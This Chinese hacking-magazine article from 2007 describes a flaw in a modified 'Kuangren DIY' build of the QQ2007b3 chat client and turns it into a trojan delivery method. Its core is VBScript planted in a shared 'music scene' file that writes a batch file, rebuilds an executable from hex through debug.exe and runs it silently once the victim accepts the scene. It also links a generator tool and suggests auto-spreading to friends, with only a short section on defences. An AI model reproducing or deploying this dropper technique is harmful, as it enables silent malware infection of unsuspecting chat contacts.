狂人DIY版2007b3爆洞 – 利用音乐场景随意种马

鬼仔注:作者发的时候没有发图。

作者:JiaJia [YuLv]
来源:JiaJia's Home

声明:本文已发表到2007.09期的《黑客手册》杂志上,转载请注明。

说明:该漏洞是由QQ2007b3狂人DIY版中的vbscript.dll文件所引起的,在原版的QQ2007b3下不存在这个问题。(在光盘中提供了补丁文件,如果您现在使用的是狂人DIY版覆盖原来的文件即可解决此问题。)

起因与发现:

在七月的某天深夜,我挂着QQ在写AntiARP-DNS(广告:它一个不错的防ARP攻击的绿色免费工具)的时候,突然莫名其妙的弹出一个对话框,内容大概是“深夜我入侵了你…… By XXX”,如图1。当时把我一愣,刹那间脸都黑了一半,脑子中浮现出一句话“啊!难道真的被人家当肉鸡给玩弄了?”。几秒钟惊讶过后,冷静的注意到原来有QQ上的网友向我请求共享音乐场景,而QQ已自动接受了。这时,我马上反应过来,一定是音乐场景出了问题,立刻打开QQ中“我的场景设置”中看了看,要是没注意乱用鼠标晃一下空白处还不知道有它的存在呢,如图2。再次选择了一下这个音乐场景后确定,又出现了刚刚那个对话框。此时,我马上跑到QQ目录寻找这个音乐场景的文件的踪迹,文件多所以进去之后就直接搜索场景名称了,它叫“QQ0day”。找到之后知道这是一个目录(具体路径是QQ\IMScene\Scene\QQ0day),而目录下的才是场景所用到的文件。目录下文件一共是3个,一个是名称为ID串码的bmp格式图片,另一个是名为Config.qqs文件,最后一个是VBScript.qqs文件。接着我用记事本分别打开Config.qqs和VBScript.qqs看了看,发现其前者其实是xml文件,后者其实就是一个vbs脚本文件,但是这个vbs没有main()过程,所以推测是QQ自己调用文件转交给QQ根目录下的vbscript.dll再解析执行过程的用(注:原理其实跟vbs2exe差不多,在JiaJia_Box2中也有这个功能。)。因为弹出的是对话框,而VBScript.qqs又是vbs文件,所以用记事本打开文件之后就立刻搜索关键字“msgbox”(提示:msgbox 是vbs中弹出对话框的函数),果然找到了刚刚弹出对话框内容的位置,也确认了是这个文件惹得祸,如图3。事后我问了问那位发音乐场景给我的朋友,他说是他只是恶作剧好玩而已。

图1(突然在屏幕中央弹出的对话框)

图2(空白图片的音乐场景)

图3(VBScript.qqs中的代码)

之后我就在想,是不是可以改造成一种挂马的东西呢?心想,如果是VBS文件,并且QQ换场景会执行,那么一定没什么问题,心里偷笑到,于是就开始了对VBScript.qqs文件的加工。

分析与制作:

刚开始准备加工时我并没有马上去编写利用代码,只是试了一下把VBScript.qqs文件中多于的代码全部删除,只留下其中放主要代码的BackgroundOnSize()背景拉伸函数过程。结果测试的时候发现这样就失效了,看来那些多余的代码也不能删除。于是就原原本本的不删除任何原来的脚本代码,只对BackgroundOnSize()过程进行了加工,刚开始想着直接加个vbs下载者代码不就行了?我试了很多代码(如用xmlhttp和缓存方式下载),结果都是效果很不理想,主要是方法繁琐和不能免杀。后来就想着干脆直接绑马好了,但是要怎么绑呢?想着想着,想到把马转化为文本再解析出来,这不就是exe2XXX吗?立刻打开了自己的JiaJia_Box3的文件处理,先是尝试exe2vbs的方式,但是生成出来的vbs卡巴立刻发出杀猪似的声音;后来又测试什么exe2htm挂马之类的,发现效果都不怎么样;再尝试到exe2bat(以前smallrascal发过这个exe2bat的vb代码了,我也集成在JiaJia_Box中过,翻出来用用吧。嘿嘿~)的时候卡巴不叫了,所以就选用了这种方式进行了进一步的测试。测试证实效果真的不错,在木马文件不大的情况下,你发给对方音乐场景,他根本来不及取消就中马。真是防不胜防啊!

这里我随便弄了一个测试用的exe文件来小试了一下,废话不多说,主要加工过的VBScript.qqs代码如下(其余省略部分详细见光盘中的VBScript.qqs文件):

'背景拉伸函数

Sub BackgroundOnSize()

dim fso

set fso=CreateObject("Scripting.FileSystemObject")

' 创建c:\window\test.bat文件,并写入文本。

with fso.opentextfile("c:\window\test.bat",2,true)

.writeline "@echo e 100 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 >>tmp11"

' (省略中间部分)

.writeline "@echo e 14F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11"

.writeline "@echo rcx>>tmp11"

.writeline "@echo 1400>>tmp11"

.writeline "@echo n tmp1>>tmp11"

.writeline "@echo w>>tmp11"

.writeline "@echo q>>tmp11"

.writeline "@debug<tmp11>nul"

.writeline "@Copy /b /y tmp1 test.exe"

.writeline "@start test.exe"

.writeline "@del tmp*"

end with

' CreateObject("Wscript.Shell").Run 同等于vb中的shell函数,后面参数0为后台运行。

CreateObject("Wscript.Shell").Run "c:\window\test.bat",0

End Sub

给别人共享这个音乐场景之后,便可以看到如图4的效果。因为利用代码是写在BackgroundOnSize()背景拉伸函数内的,所以使用了音乐场景的QQ聊天窗口大小改变的时候都会执行内部的Form_Resize过程,自然也会Me.Refresh之后调用了背景拉伸函数,接着利用代码就会被多次执行了。

图4(中马效果图)

为了方便,我改写了exe2bat的代码,写成了一个QQ0day音乐场景木马生成器。代码变化不大,大家可以自己翻出拿以前的NoHack看看再改写成自己需要的,如图5。

图5(QQ0day音乐场景木马生成器)

使用比较简单,选择你要转换的EXE文件再生成,然后复制目录下的“JiaJia_QQ0day”文件夹到“QQ\IMScene\Scene\QQ0day:”下,“JiaJia_QQ0day”文件夹名称就是音乐场景名称,可以自行更改。

深入与防范:

我测试了很多环境之后,才发现只有QQ2007b3狂人DIY版才有此漏洞的,原因就是出在vbscript.dll文件,我对对比了一下它们的不同之处,如图6和图7。在图7中可以看见MsgBox函数是可以使用的CreateObject对象也是可以使用的,说明在原版的vbscript.dll文件中一定是过滤掉了一些有威胁的方法,比如过滤掉了:Scripting.FileSystemObject 和 Wscript.Shell,导致了原版中执行不了那段代码的缘故,就只能用MsgBox函数来给别人恶作剧一下了。

图6(对比两个不同版本的vbscript.dll)

图7(原版和DOY版vbscript.dll中资源1的内容)

既然是QQ的音乐场景引起的这种威胁,那么我们该怎么去防范呢?最简单的肯定是不接受音乐场景邀请嘛,那么就找QQ中的设置咯。但是我在“个人设置”中却没有看见任何关于QQ音乐场景的设置,之后是在聊天窗口中进入“我的场景设置”的左下角看见的(图2中可以看见,还真是不显眼呢。),把“接受场景邀请”的钩钩去掉就可以不自动接受了。再狠一点你可以考虑让vbs不能使用,方法是运行“regsvr32 /u vbscript.dll”和“regsvr32 /u cscript.dll”(还有QQ目录下的vbscript.dll也要卸载),不过这样会使得很多东西用不了或者出错什么的,也是有利有弊吧。

写在最后:

这个所谓的QQ0day是因为默认自动接受音乐场景邀请带来的,当然也是因为音乐场景使用到了vbs脚本的缘故。虽说只是在狂人DIY版中有效,但是这带来的危害也是很大的。大家自己可以继续加工一下代码,可以实现把场景自动删除让别人找不到,或者抓数据包自己写个自动给好友发场景什么的。有关VBS的在线手册我的站点有收录,地址是http://www.yulv.net/book/VBScriptLanguage/,大家可以去看看。

我个人有一定的局限性,文章内有误处请大家指正。本文只作为参考!希望大家不要拿来做坏事哦。如果大家有什么疑问或者想法都可以到NoHack的BBS(Hhttp://Www.NoHack.Cn/bbs)或我的Web(Http://Www.YuLv.Net)上留言。我的ID是JiaJia。

利用工具 – QQ0day 音乐场景木马生成器
点击下载此文件

相关日志

发表评论